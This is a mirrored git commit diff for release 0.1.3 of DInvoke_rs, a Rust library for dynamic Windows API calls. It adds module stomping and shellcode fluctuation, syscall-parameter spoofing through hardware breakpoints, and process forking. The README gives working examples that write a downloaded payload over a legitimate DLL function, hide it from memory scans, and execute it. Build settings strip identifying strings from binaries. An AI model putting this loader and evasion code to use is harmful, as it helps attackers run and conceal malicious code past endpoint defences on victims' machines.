mirror of
https://github.com/Kudaes/DInvoke_rs
synced 2026-06-08 11:32:25 +00:00
Release 0.1.3
- Module stomping + shellcode fluctuation - Forking mechanism by calling NtCreateUserProcess. - More primitives to interact with Windows API. - A lot of fixes and small enhancements.
This commit is contained in:
+1
-2
@@ -1,9 +1,8 @@
|
||||
[build]
|
||||
rustflags = [
|
||||
"--remap-path-prefix", "dinvoke=",
|
||||
"--remap-path-prefix", "data=",
|
||||
"--remap-path-prefix", "manualmap=",
|
||||
"--remap-path-prefix", "overload=",
|
||||
"--remap-path-prefix", "dmanager=",
|
||||
"--remap-path-prefix", "AAA=BBB" # AAA = string to remove (e.g. the same value as the %USERPROFILE% env variable);
|
||||
# BBB = new value, it can be left empty to remove strings from the final binary
|
||||
]
|
||||
+2
-2
@@ -1,10 +1,10 @@
|
||||
[package]
|
||||
name = "dinvoke_rs"
|
||||
name = "dinvokeRs"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[profile.release]
|
||||
strip = true
|
||||
strip = true
|
||||
|
||||
[dependencies]
|
||||
dinvoke = { path = "dinvoke" }
|
||||
|
||||
@@ -11,6 +11,7 @@ Features:
|
||||
* Map PE modules into sections backed by arbitrary modules on disk. **Not Opsec**
|
||||
* Module fluctuation to hide mapped PEs (concurrency supported). **Not Opsec**
|
||||
* Syscall parameters spoofing through exception filter + hardware breakpoints. **x64 only**
|
||||
* Module stomping and shellcode fluctuation.
|
||||
|
||||
# Credit
|
||||
All the credits go to the creators of the original C# implementation of this tool:
|
||||
@@ -27,6 +28,7 @@ All the credits go to the creators of the original C# implementation of this too
|
||||
- [Overload memory section](#Overload-memory-section)
|
||||
- [Module fluctuation](#Module-fluctuation)
|
||||
- [Use hardware breakpoints to spoof syscall parameters](#Syscall-parameters-spoofing)
|
||||
- [Module stomping and Shellcode fluctuation](#Module-stomping-and-Shellcode-fluctuation)
|
||||
|
||||
# Usage
|
||||
|
||||
@@ -34,7 +36,7 @@ Import this crate into your project by adding the following line to your `cargo.
|
||||
|
||||
```rust
|
||||
[dependencies]
|
||||
dinvoke_rs = "0.1.2"
|
||||
dinvoke_rs = "0.1.3"
|
||||
```
|
||||
|
||||
# Examples
|
||||
@@ -172,7 +174,7 @@ fn main() {
|
||||
unsafe
|
||||
{
|
||||
|
||||
let ntdll: (PeMetadata, isize) = dinvoke_rs::manualmap::read_and_map_module("C:\\Windows\\System32\\ntdll.dll").unwrap();
|
||||
let ntdll: (PeMetadata, isize) = dinvoke_rs::manualmap::read_and_map_module("C:\\Windows\\System32\\ntdll.dll", true).unwrap();
|
||||
|
||||
let func_ptr: unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
|
||||
let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which is an i32
|
||||
@@ -279,7 +281,7 @@ fn main() {
|
||||
}
|
||||
|
||||
// Since we dont want to use our ntdll copy for the moment, we hide it again. It can we remapped at any time.
|
||||
let _ = manager.hide(overload.1 as i64);
|
||||
let _ = manager.hide_module(overload.1 as i64);
|
||||
|
||||
}
|
||||
}
|
||||
@@ -293,7 +295,7 @@ For now, this feature is implemented for the functions NtOpenProcess, NtAllocate
|
||||
|
||||
```rust
|
||||
|
||||
use dinvoke_rs::data::{THREAD_ALL_ACCESS, CLIENT_ID};
|
||||
use dinvoke_rs::data::{THREAD_ALL_ACCESS, ClientId};
|
||||
use windows::{Win32::Foundation::HANDLE, Wdk::Foundation::OBJECT_ATTRIBUTES};
|
||||
|
||||
fn main() {
|
||||
@@ -301,10 +303,9 @@ fn main() {
|
||||
{
|
||||
// We active the use of hardware breakpoints to spoof syscall parameters
|
||||
dinvoke_rs::dinvoke::use_hardware_breakpoints(true);
|
||||
// We get the memory address of our function and set it as the
|
||||
// top-level exception handler.
|
||||
// We get the memory address of our function and set it as a VEH
|
||||
let handler = dinvoke::breakpoint_handler as usize;
|
||||
dinvoke_rs::dinvoke::set_unhandled_exception_filter(handler);
|
||||
dinvoke_rs::dinvoke::add_vectored_exception_handler(1, handler);
|
||||
|
||||
let h = HANDLE {0: -1};
|
||||
let handle: *mut HANDLE = std::mem::transmute(&h);
|
||||
@@ -321,7 +322,66 @@ fn main() {
|
||||
let ret = dinvoke::nt_open_process(handle, access, attributes, client_id);
|
||||
|
||||
println!("NTSTATUS: {:x}", ret);
|
||||
|
||||
dinvoke_rs::dinvoke::use_hardware_breakpoints(false);
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
## Module stomping and Shellcode fluctuation
|
||||
Dinvoke_rs's overload crate now allows to perform module stomping by calling the `managed_module_stomping()` function. The first parameter of this function is the shellcode's content. The other two parameters modify the behaviour of the function, allowing three different execution paths commented below.
|
||||
|
||||
The best way to use this function in my opinion is by loading a legitimate dll into the process and allow Dinvoke to determine a good spot in that dll to stomp your shellcode to it. This is done by passing the dll's base address as the third parameter of `managed_module_stomping()`. The second argument must be zero. By doing this, Dinvoke will iterate over the dll's Exception data looking for a legitimate function big enough to stomp the shellcode on it.
|
||||
|
||||
```rust
|
||||
let payload_content = download_function();
|
||||
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
|
||||
let module = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, my_dll);
|
||||
|
||||
match module {
|
||||
Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
|
||||
Err(e) => println!("An error has occurred: {}", e),
|
||||
}
|
||||
```
|
||||
|
||||
You can also specify the exact location where you want the shellcode to be stomped to by passing the address as the second parameter:
|
||||
|
||||
```rust
|
||||
let payload_content = download_function();
|
||||
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
|
||||
let my_big_enough_function = dinvoke_rs::dinvoke::get_function_address(my_dll, "somefunction");
|
||||
let module = overload::managed_module_stomping(&payload_content, my_big_enough_function, 0);
|
||||
|
||||
match module {
|
||||
Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
|
||||
Err(e) => println!("An error has occurred: {}", e),
|
||||
}
|
||||
```
|
||||
|
||||
Finally, you can allow Dinvoke to automatically decide the address where the shellcode will be stomped to. This is done by iterating over the Exception data of all loaded modules until finding a suitable function. This option may bring unexpected behaviours, so I do not really recommend it unless you don't have other option.
|
||||
```rust
|
||||
let payload_content = download_function();
|
||||
let module = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, 0);
|
||||
|
||||
match module {
|
||||
Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
|
||||
Err(e) => println!("An error has occurred: {}", e),
|
||||
}
|
||||
```
|
||||
|
||||
Once the shellcode has been stomped, you can use dmanager crate to hide/restomp your shellcode, allowing to perfom shellcode fluctuation:
|
||||
|
||||
```rust
|
||||
let payload_content = download_function();
|
||||
let my_dll = dinvoke::load_library_a("somedll.dll");
|
||||
let overload = overload::managed_module_stomping(&payload_content, 0, my_dll).unwrap();
|
||||
let mut manager = dmanager::Manager::new();
|
||||
let _r = manager.new_shellcode(overload.1, payload_content, overload.0).unwrap(); // The manager will take care of the fluctuation process
|
||||
let _r = manager.hide_shellcode(overload.1).unwrap(); // We restore the memory's original content and hide our shellcode
|
||||
...
|
||||
let _r = manager.stomp_shellcode(overload.1).unwrap(); // When we need our shellcode's functionality, we restomp it to the same location so we can execute it
|
||||
let run: unsafe extern "system" fn () = std::mem::transmute(overload.1);
|
||||
run();
|
||||
let _r = manager.hide_shellcode(overload.1).unwrap(); // We hide the shellcode again
|
||||
```
|
||||
+2
-2
@@ -8,7 +8,7 @@ edition = "2021"
|
||||
strip = true
|
||||
|
||||
[dependencies]
|
||||
winapi = "*"
|
||||
winapi = "0.3.9"
|
||||
|
||||
[dependencies.windows]
|
||||
version = "0.51"
|
||||
@@ -24,5 +24,5 @@ features = [
|
||||
"Wdk_Foundation",
|
||||
"Win32_Storage_FileSystem",
|
||||
"Win32_System_Memory",
|
||||
"Win32_System_SystemInformation"
|
||||
"Win32_System_SystemInformation",
|
||||
]
|
||||
+105
-31
@@ -1,5 +1,5 @@
|
||||
use std::{collections::BTreeMap, ffi::c_void};
|
||||
use windows::Win32::{Foundation::{BOOL, HANDLE, HINSTANCE, UNICODE_STRING}, Security::SECURITY_ATTRIBUTES, System::{Diagnostics::Debug::{IMAGE_DATA_DIRECTORY, IMAGE_OPTIONAL_HEADER32, IMAGE_SECTION_HEADER, MINIDUMP_CALLBACK_INFORMATION, MINIDUMP_EXCEPTION_INFORMATION, MINIDUMP_USER_STREAM_INFORMATION, EXCEPTION_RECORD}, IO::{OVERLAPPED,IO_STATUS_BLOCK}, SystemInformation::SYSTEM_INFO, Memory::MEMORY_BASIC_INFORMATION}};
|
||||
use windows::Win32::{Foundation::{BOOL, HANDLE, HINSTANCE, UNICODE_STRING}, Security::SECURITY_ATTRIBUTES, System::{Diagnostics::Debug::{IMAGE_DATA_DIRECTORY, IMAGE_OPTIONAL_HEADER32, IMAGE_SECTION_HEADER, MINIDUMP_CALLBACK_INFORMATION, MINIDUMP_EXCEPTION_INFORMATION, MINIDUMP_USER_STREAM_INFORMATION, EXCEPTION_RECORD}, IO::{OVERLAPPED,IO_STATUS_BLOCK}, SystemInformation::SYSTEM_INFO, Memory::MEMORY_BASIC_INFORMATION, Threading::{STARTUPINFOW, PROCESS_INFORMATION}}};
|
||||
use windows::core::PSTR;
|
||||
use windows::Wdk::Foundation::OBJECT_ATTRIBUTES;
|
||||
use winapi::shared::ntdef::LARGE_INTEGER;
|
||||
@@ -8,18 +8,30 @@ pub type PVOID = *mut c_void;
|
||||
pub type DWORD = u32;
|
||||
pub type EAT = BTreeMap<isize,String>;
|
||||
pub type EntryPoint = extern "system" fn (HINSTANCE, u32, *mut c_void) -> BOOL;
|
||||
pub type RtlAddFunctionTable = unsafe extern "system" fn (usize, i32, isize) -> bool;
|
||||
pub type LoadLibraryA = unsafe extern "system" fn (PSTR) -> HINSTANCE;
|
||||
pub type OpenProcess = unsafe extern "system" fn (u32, i32, u32) -> HANDLE;
|
||||
pub type EnumProcesses = unsafe extern "system" fn (*mut u32, u32, *mut u32) -> bool;
|
||||
pub type QueueUserWorkItem = unsafe extern "system" fn (*mut c_void, *mut c_void, u32) -> bool;
|
||||
pub type InitializeProcThreadAttributeList = unsafe extern "system" fn (PVOID, u32, u32, *mut usize) -> BOOL;
|
||||
pub type UpdateProcThreadAttribute = unsafe extern "system" fn (PVOID, u32, usize, *const c_void, usize, PVOID, *const usize) -> BOOL;
|
||||
pub type QueryFullProcessImageNameW = unsafe extern "system" fn (HANDLE, u32, *mut u16, *mut u32) -> i32;
|
||||
pub type MiniDumpWriteDump = unsafe extern "system" fn (HANDLE, u32, HANDLE, u32, *mut MINIDUMP_EXCEPTION_INFORMATION,
|
||||
*mut MINIDUMP_USER_STREAM_INFORMATION, *mut MINIDUMP_CALLBACK_INFORMATION) -> i32;
|
||||
pub type GetOverlappedResult = unsafe extern "system" fn (HANDLE, *mut OVERLAPPED, *mut u32, bool) -> BOOL;
|
||||
pub type CreateFileA = unsafe extern "system" fn (*mut u8, u32, u32, *const SECURITY_ATTRIBUTES, u32, u32, HANDLE) -> HANDLE;
|
||||
pub type ReadFile = unsafe extern "system" fn (HANDLE, PVOID, u32, *mut u32, *mut OVERLAPPED) -> i32;
|
||||
pub type CreateTransaction = unsafe extern "system" fn (*mut SECURITY_ATTRIBUTES, *mut GUID, u32, u32, u32, u32, *mut u16) -> HANDLE;
|
||||
pub type CreateFileTransactedA = unsafe extern "system" fn (*mut u8, u32, u32, *const SECURITY_ATTRIBUTES, u32, u32, HANDLE,
|
||||
HANDLE, *const u32, PVOID) -> HANDLE;
|
||||
pub type CreateProcessWithLogon = unsafe extern "system" fn (*const u16, *const u16, *const u16, u32, *const u16, *mut u16, u32, *const c_void, *const u16, *const STARTUPINFOW, *mut PROCESS_INFORMATION) -> BOOL;
|
||||
pub type RollbackTransaction = unsafe extern "system" fn (HANDLE) -> BOOL;
|
||||
pub type GetFileSize = unsafe extern "system" fn (HANDLE, *mut u32) -> u32;
|
||||
pub type CreateFileMapping = unsafe extern "system" fn (HANDLE, *const SECURITY_ATTRIBUTES, u32, u32, u32, *mut u8) -> HANDLE;
|
||||
pub type MapViewOfFile = unsafe extern "system" fn (HANDLE, u32, u32, u32, usize) -> PVOID;
|
||||
pub type UnmapViewOfFile = unsafe extern "system" fn (PVOID) -> BOOL;
|
||||
pub type ConvertThreadToFiber = unsafe extern "system" fn (PVOID) -> PVOID;
|
||||
pub type CreateFiber = unsafe extern "system" fn (usize, PVOID, PVOID) -> PVOID;
|
||||
pub type SwitchToFiber = unsafe extern "system" fn (PVOID);
|
||||
pub type GetLastError = unsafe extern "system" fn () -> u32;
|
||||
pub type CloseHandle = unsafe extern "system" fn (HANDLE) -> i32;
|
||||
pub type VirtualFree = unsafe extern "system" fn (PVOID, usize, u32) -> bool;
|
||||
@@ -27,10 +39,21 @@ pub type LocalAlloc = unsafe extern "system" fn (u32, usize) -> PVOID;
|
||||
pub type TlsAlloc = unsafe extern "system" fn () -> u32;
|
||||
pub type TlsGetValue = unsafe extern "system" fn (u32) -> PVOID;
|
||||
pub type TlsSetValue = unsafe extern "system" fn (u32, PVOID) -> bool;
|
||||
pub type GetModuleHandleExA = unsafe extern "system" fn (i32,*const u8,*mut usize) -> bool;
|
||||
pub type GetSystemInfo = unsafe extern "system" fn (*mut SYSTEM_INFO);
|
||||
pub type VirtualQueryEx = unsafe extern "system" fn (HANDLE, *const c_void, *mut MEMORY_BASIC_INFORMATION, usize) -> usize;
|
||||
pub type LptopLevelExceptionFilter = usize;
|
||||
pub type AddVectoredExceptionHandler = unsafe extern "system" fn (first: u32, handle: usize) -> PVOID;
|
||||
pub type SetUnhandledExceptionFilter = unsafe extern "system" fn (filter: LptopLevelExceptionFilter) -> LptopLevelExceptionFilter;
|
||||
pub type BCryptOpenAlgorithmProvider = unsafe extern "system" fn (*mut HANDLE, *const u16, *const u16, u32) -> i32;
|
||||
pub type BCryptGetProperty = unsafe extern "system" fn (HANDLE, *const u16, *mut u8, u32, *mut u32, u32) -> i32;
|
||||
pub type BCryptSetProperty = unsafe extern "system" fn (HANDLE, *const u16, *mut u8, u32, u32) -> i32;
|
||||
pub type BCryptGenerateSymmetricKey = unsafe extern "system" fn (HANDLE,*mut HANDLE, *mut u8, u32, *mut u8, u32, u32) -> i32;
|
||||
pub type BCryptEncrypt = unsafe extern "system" fn (HANDLE, *mut u8, u32, PVOID, *mut u8, u32, *mut u8, u32, *mut u32, u32) -> i32;
|
||||
pub type BCryptDestroyKey = unsafe extern "system" fn (HANDLE) -> i32;
|
||||
pub type BCryptDecrypt = unsafe extern "system" fn (HANDLE, *mut u8, u32, PVOID, *mut u8, u32, *mut u8, u32, *mut u32, u32) -> i32;
|
||||
pub type BCryptCloseAlgorithmProvider = unsafe extern "system" fn (HANDLE, u32) -> i32;
|
||||
pub type CreateEventW = unsafe extern "system" fn (*const SECURITY_ATTRIBUTES, i32, i32, *const u16) -> HANDLE;
|
||||
pub type LdrGetProcedureAddress = unsafe extern "system" fn (PVOID, *mut String, u32, *mut PVOID) -> i32;
|
||||
pub type NtWriteVirtualMemory = unsafe extern "system" fn (HANDLE, PVOID, PVOID, usize, *mut usize) -> i32;
|
||||
pub type NtProtectVirtualMemory = unsafe extern "system" fn (HANDLE, *mut PVOID, *mut usize, u32, *mut u32) -> i32;
|
||||
@@ -38,17 +61,24 @@ pub type NtAllocateVirtualMemory = unsafe extern "system" fn (HANDLE, *mut PVOID
|
||||
pub type NtQueryInformationProcess = unsafe extern "system" fn (HANDLE, u32, PVOID, u32, *mut u32) -> i32;
|
||||
pub type NtQuerySystemInformation = unsafe extern "system" fn (u32, PVOID, u32, *mut u32) -> i32;
|
||||
pub type NtQueryInformationThread = unsafe extern "system" fn (HANDLE, u32, PVOID, u32, *mut u32) -> i32;
|
||||
pub type NtQueryInformationFile = unsafe extern "system" fn (HANDLE, *mut IO_STATUS_BLOCK, PVOID, u32, u32) -> i32;
|
||||
pub type NtDuplicateObject = unsafe extern "system" fn (HANDLE, HANDLE, HANDLE, *mut HANDLE, u32, u32, u32) -> i32;
|
||||
pub type NtQueryObject = unsafe extern "system" fn (HANDLE, u32, PVOID, u32, *mut u32) -> i32;
|
||||
pub type NtCreateUserProcess = unsafe extern "system" fn (*mut HANDLE, *mut HANDLE,u32, u32, *mut OBJECT_ATTRIBUTES,*mut OBJECT_ATTRIBUTES, u32, u32, PVOID, *mut PsCreateInfo, *mut PsAttributeList) -> i32;
|
||||
pub type NtOpenFile = unsafe extern "system" fn (*mut HANDLE, u32, *mut OBJECT_ATTRIBUTES, *mut IO_STATUS_BLOCK, u32, u32) -> i32;
|
||||
pub type NtCreateSection = unsafe extern "system" fn (*mut HANDLE, u32, *mut OBJECT_ATTRIBUTES, *mut LARGE_INTEGER, u32, u32, HANDLE) -> i32;
|
||||
pub type NtMapViewOfSection = unsafe extern "system" fn (HANDLE, HANDLE, *mut PVOID, usize, usize, *mut LARGE_INTEGER, *mut usize, u32, u32, u32) -> i32;
|
||||
pub type NtOpenProcess = unsafe extern "system" fn (*mut HANDLE, u32, *mut OBJECT_ATTRIBUTES, *mut CLIENT_ID) -> i32;
|
||||
pub type NtCreateThreadEx = unsafe extern "system" fn (*mut HANDLE, u32, *mut OBJECT_ATTRIBUTES, HANDLE, PVOID, PVOID, u32, usize, usize, usize, *mut PS_ATTRIBUTE_LIST) -> i32;
|
||||
pub type NtOpenProcess = unsafe extern "system" fn (*mut HANDLE, u32, *mut OBJECT_ATTRIBUTES, *mut ClientId) -> i32;
|
||||
pub type NtCreateThreadEx = unsafe extern "system" fn (*mut HANDLE, u32, *mut OBJECT_ATTRIBUTES, HANDLE, PVOID, PVOID, u32, usize, usize, usize, *mut PsAttributeList) -> i32;
|
||||
pub type NtReadVirtualMemory = unsafe extern "system" fn (HANDLE, PVOID, PVOID, usize, *mut usize) -> i32;
|
||||
pub type NtRemoveProcessDebug = unsafe extern "system" fn (HANDLE, HANDLE) -> i32;
|
||||
pub type NtWaitForDebugEvent = unsafe extern "system" fn (HANDLE, u8, *mut LARGE_INTEGER, PVOID) -> i32;
|
||||
pub type NtTerminateProcess = unsafe extern "system" fn (HANDLE, i32) -> i32;
|
||||
pub type RtlAdjustPrivilege = unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32;
|
||||
pub type RtlInitUnicodeString = unsafe extern "system" fn (*mut UNICODE_STRING, *const u16) -> () ;
|
||||
pub type RtlZeroMemory = unsafe extern "system" fn (PVOID, usize) -> ();
|
||||
pub type RtlQueueWorkItem = unsafe extern "system" fn (usize, PVOID, u32) -> i32;
|
||||
pub type RtlAddFunctionTable = unsafe extern "system" fn (usize, i32, isize) -> bool;
|
||||
|
||||
pub const JMP_RBX: u16 = 9215;
|
||||
pub const ADD_RSP: u32 = 1489273672;// add rsp,0x58 -> up to 11 parameters
|
||||
@@ -64,11 +94,14 @@ pub const DLL_PROCESS_ATTACH: u32 = 1;
|
||||
pub const DLL_THREAD_ATTACH: u32 = 2;
|
||||
pub const DLL_THREAD_DETACH: u32 = 3;
|
||||
|
||||
pub const PAGE_NOACCESS: u32 = 0x1;
|
||||
pub const PAGE_READONLY: u32 = 0x2;
|
||||
pub const PAGE_READWRITE: u32 = 0x4;
|
||||
pub const PAGE_EXECUTE_READWRITE: u32 = 0x40;
|
||||
pub const PAGE_EXECUTE_READ: u32 = 0x20;
|
||||
pub const PAGE_WRITECOPY: u32 = 0x8;
|
||||
pub const PAGE_EXECUTE: u32 = 0x10;
|
||||
pub const PAGE_EXECUTE_READ: u32 = 0x20;
|
||||
pub const PAGE_EXECUTE_READWRITE: u32 = 0x40;
|
||||
pub const PAGE_EXECUTE_WRITECOPY: u32 = 0x80;
|
||||
|
||||
pub const MEM_COMMIT: u32 = 0x1000;
|
||||
pub const MEM_RESERVE: u32 = 0x2000;
|
||||
@@ -118,9 +151,9 @@ pub const SEC_IMAGE: u32 = 0x1000000;
|
||||
pub struct PeMetadata {
|
||||
pub pe: u32,
|
||||
pub is_32_bit: bool,
|
||||
pub image_file_header: IMAGE_FILE_HEADER,
|
||||
pub image_file_header: ImageFileHeader,
|
||||
pub opt_header_32: IMAGE_OPTIONAL_HEADER32,
|
||||
pub opt_header_64: IMAGE_OPTIONAL_HEADER64,
|
||||
pub opt_header_64: ImageOptionalHeader64,
|
||||
pub sections: Vec<IMAGE_SECTION_HEADER>
|
||||
}
|
||||
|
||||
@@ -129,9 +162,9 @@ impl Default for PeMetadata {
|
||||
PeMetadata {
|
||||
pe: u32::default(),
|
||||
is_32_bit: false,
|
||||
image_file_header: IMAGE_FILE_HEADER::default(),
|
||||
image_file_header: ImageFileHeader::default(),
|
||||
opt_header_32: IMAGE_OPTIONAL_HEADER32::default(),
|
||||
opt_header_64: IMAGE_OPTIONAL_HEADER64::default(),
|
||||
opt_header_64: ImageOptionalHeader64::default(),
|
||||
sections: Vec::default(),
|
||||
}
|
||||
}
|
||||
@@ -175,7 +208,7 @@ pub struct ApiSetValueEntry {
|
||||
|
||||
#[derive(Copy, Clone, Default, PartialEq, Debug, Eq)]
|
||||
#[repr(C)]
|
||||
pub struct IMAGE_FILE_HEADER {
|
||||
pub struct ImageFileHeader {
|
||||
pub machine: u16,
|
||||
pub number_of_sections: u16,
|
||||
pub time_data_stamp: u32,
|
||||
@@ -187,7 +220,7 @@ pub struct IMAGE_FILE_HEADER {
|
||||
|
||||
#[derive(Copy, Clone,Default)]
|
||||
#[repr(C)] // required to keep fields order, otherwise Rust may change that order randomly
|
||||
pub struct IMAGE_OPTIONAL_HEADER64 {
|
||||
pub struct ImageOptionalHeader64 {
|
||||
pub magic: u16,
|
||||
pub major_linker_version: u8,
|
||||
pub minor_linker_version: u8,
|
||||
@@ -231,13 +264,13 @@ pub struct GUID
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct SYSTEM_HANDLE_INFORMATION {
|
||||
pub struct SystemHandleInformation {
|
||||
pub number_of_handles: u32,
|
||||
pub handles: Vec<SYSTEM_HANDLE_TABLE_ENTRY_INFO>,
|
||||
pub handles: Vec<SystemHandleTableEntryInfo>,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct SYSTEM_HANDLE_TABLE_ENTRY_INFO {
|
||||
pub struct SystemHandleTableEntryInfo {
|
||||
pub process_id: u16,
|
||||
pub creator_back_trace_index: u16,
|
||||
pub object_type_index: u8,
|
||||
@@ -248,7 +281,7 @@ pub struct SYSTEM_HANDLE_TABLE_ENTRY_INFO {
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct CLIENT_ID {
|
||||
pub struct ClientId {
|
||||
pub unique_process: HANDLE,
|
||||
pub unique_thread: HANDLE,
|
||||
}
|
||||
@@ -264,7 +297,7 @@ pub struct NtOpenProcessArgs
|
||||
pub handle: *mut HANDLE,
|
||||
pub access: u32,
|
||||
pub attributes: *mut OBJECT_ATTRIBUTES,
|
||||
pub client_id: *mut CLIENT_ID
|
||||
pub client_id: *mut ClientId
|
||||
}
|
||||
|
||||
pub struct NtProtectVirtualMemoryArgs
|
||||
@@ -398,13 +431,13 @@ impl Default for CONTEXT
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct EXCEPTION_POINTERS {
|
||||
pub struct ExceptionPointers {
|
||||
pub exception_record: *mut EXCEPTION_RECORD,
|
||||
pub context_record: *mut CONTEXT,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct PS_ATTRIBUTE_LIST {
|
||||
pub struct PsAttributeList {
|
||||
pub size: u32,
|
||||
pub unk1: u32,
|
||||
pub unk2: u32,
|
||||
@@ -428,20 +461,61 @@ pub enum ExceptionHandleFunction
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Copy, Clone, Default)]
|
||||
pub struct RUNTIME_FUNCTION {
|
||||
pub struct RuntimeFunction {
|
||||
pub begin_addr: u32,
|
||||
pub end_addr: u32,
|
||||
pub unwind_addr: u32
|
||||
}
|
||||
|
||||
/*#[derive(Copy, Clone, Default)]
|
||||
pub struct UNWIND_INFO {
|
||||
pub version_flags: u8,
|
||||
pub prolog_size: u8,
|
||||
pub count_codes: u8,
|
||||
pub register_and_offset: u8,
|
||||
pub unwind_codes_1: u8,
|
||||
pub unwind_codes_2: u8,
|
||||
pub exception_handler: u32,
|
||||
pub unused: u16
|
||||
}*/
|
||||
#[repr(C)]
|
||||
pub struct PsCreateInfo {
|
||||
pub size: usize,
|
||||
pub unused: [u8;80],
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct PsAttribute {
|
||||
pub attribute: usize,
|
||||
pub size: usize,
|
||||
pub union: PsAttributeU,
|
||||
pub return_length: *mut usize,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub union PsAttributeU {
|
||||
pub value: usize,
|
||||
pub value_ptr: PVOID,
|
||||
}
|
||||
|
||||
|
||||
#[derive(Clone,Copy,Default)]
|
||||
#[repr(C)]
|
||||
pub struct PsCreateInfoInitState{
|
||||
pub init_flags: u32,
|
||||
pub additional_file_access: u32,
|
||||
}
|
||||
|
||||
#[derive(Clone,Copy)]
|
||||
#[repr(C)]
|
||||
pub struct PsCreateInfoUSuccessSate {
|
||||
pub output_flags: u32,
|
||||
pub file_handle: HANDLE,
|
||||
pub section_handle: HANDLE,
|
||||
pub user_process_parameters_native: u64,
|
||||
pub user_process_parameters_wow64: u32,
|
||||
pub current_parameter_flags: u32,
|
||||
pub peb_address_native: u64,
|
||||
pub peb_address_wow64: u32,
|
||||
pub manifest_address: u64,
|
||||
pub manifest_size: u32,
|
||||
}
|
||||
|
||||
#[derive(Clone,Copy)]
|
||||
#[repr(C)]
|
||||
pub union PsCreateInfoU {
|
||||
pub init_state: PsCreateInfoInitState,
|
||||
pub file_handle: HANDLE,
|
||||
pub dll_characteristics: u16,
|
||||
pub ifeokey: HANDLE,
|
||||
pub success_state: PsCreateInfoUSuccessSate,
|
||||
}
|
||||
+3
-3
@@ -11,9 +11,9 @@ strip = true
|
||||
data = { path = "../data" }
|
||||
libc = "0.2.101"
|
||||
winproc = "0.6.4"
|
||||
litcrypt2 = "0.1.0"
|
||||
winapi = "*"
|
||||
rand = "*"
|
||||
litcrypt2 = "0.1.2"
|
||||
winapi = "0.3.9"
|
||||
nanorand = "0.7.0"
|
||||
|
||||
[dependencies.windows]
|
||||
version = "0.51"
|
||||
|
||||
+225
-63
@@ -7,6 +7,7 @@ use std::mem::size_of;
|
||||
use std::panic;
|
||||
use std::{collections::HashMap, ptr};
|
||||
use std::ffi::CString;
|
||||
use nanorand::{WyRand, Rng};
|
||||
use windows::Win32::System::Diagnostics::Debug::{GetThreadContext,SetThreadContext};
|
||||
use windows::Win32::System::Memory::MEMORY_BASIC_INFORMATION;
|
||||
use windows::Win32::System::SystemInformation::SYSTEM_INFO;
|
||||
@@ -15,13 +16,12 @@ use windows::Win32::System::IO::IO_STATUS_BLOCK;
|
||||
use windows::Wdk::Foundation::OBJECT_ATTRIBUTES;
|
||||
use windows::Win32::{Foundation::{HANDLE, HINSTANCE,UNICODE_STRING}, System::Threading::{GetCurrentProcess,GetCurrentThread}};
|
||||
use data::{ApiSetNamespace, ApiSetNamespaceEntry, ApiSetValueEntry, DLL_PROCESS_ATTACH, EAT, EntryPoint, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE,
|
||||
PVOID, PeMetadata, CONTEXT, NtAllocateVirtualMemoryArgs, EXCEPTION_POINTERS, NtOpenProcessArgs, CLIENT_ID, PROCESS_QUERY_LIMITED_INFORMATION, NtProtectVirtualMemoryArgs,
|
||||
PAGE_READONLY, NtWriteVirtualMemoryArgs, ExceptionHandleFunction, PS_ATTRIBUTE_LIST, NtCreateThreadExArgs, LptopLevelExceptionFilter, TLS_OUT_OF_INDEXES};
|
||||
PVOID, PeMetadata, CONTEXT, NtAllocateVirtualMemoryArgs, ExceptionPointers, NtOpenProcessArgs, ClientId, PROCESS_QUERY_LIMITED_INFORMATION, NtProtectVirtualMemoryArgs,
|
||||
PAGE_READONLY, NtWriteVirtualMemoryArgs, ExceptionHandleFunction, PsAttributeList, NtCreateThreadExArgs, LptopLevelExceptionFilter, TLS_OUT_OF_INDEXES, PsCreateInfo};
|
||||
use libc::c_void;
|
||||
use litcrypt2::lc;
|
||||
use winproc::Process;
|
||||
use winapi::shared::ntdef::LARGE_INTEGER;
|
||||
use rand::Rng;
|
||||
|
||||
static mut HARDWARE_BREAKPOINTS: bool = false;
|
||||
static mut HARDWARE_EXCEPTION_FUNCTION: ExceptionHandleFunction = ExceptionHandleFunction::NtOpenProcess;
|
||||
@@ -63,9 +63,9 @@ pub fn set_hardware_breakpoint(address: usize)
|
||||
let mut context: *mut CONTEXT = std::mem::transmute(lp_context);
|
||||
(*context).Dr0 = address as u64;
|
||||
(*context).Dr6 = 0;
|
||||
(*context).Dr7 = ((*context).Dr7 & !(((1 << 2) - 1) << 16)) | (0 << 16);
|
||||
(*context).Dr7 = ((*context).Dr7 & !(((1 << 2) - 1) << 18)) | (0 << 18);
|
||||
(*context).Dr7 = ((*context).Dr7 & !(((1 << 1) - 1) << 0)) | (1 << 0);
|
||||
(*context).Dr7 = (*context).Dr7 & !(((1 << 2) - 1) << 16); // 0xfffcffff -> Break on instruction execution only
|
||||
(*context).Dr7 = (*context).Dr7 & !(((1 << 2) - 1) << 18); // 0xfff3ffff
|
||||
(*context).Dr7 = ((*context).Dr7 & !(((1 << 1) - 1) << 0)) | (1 << 0); // 0xfffffffe
|
||||
|
||||
(*context).ContextFlags = 0x100000 | 0x10;
|
||||
lp_context = std::mem::transmute(context);
|
||||
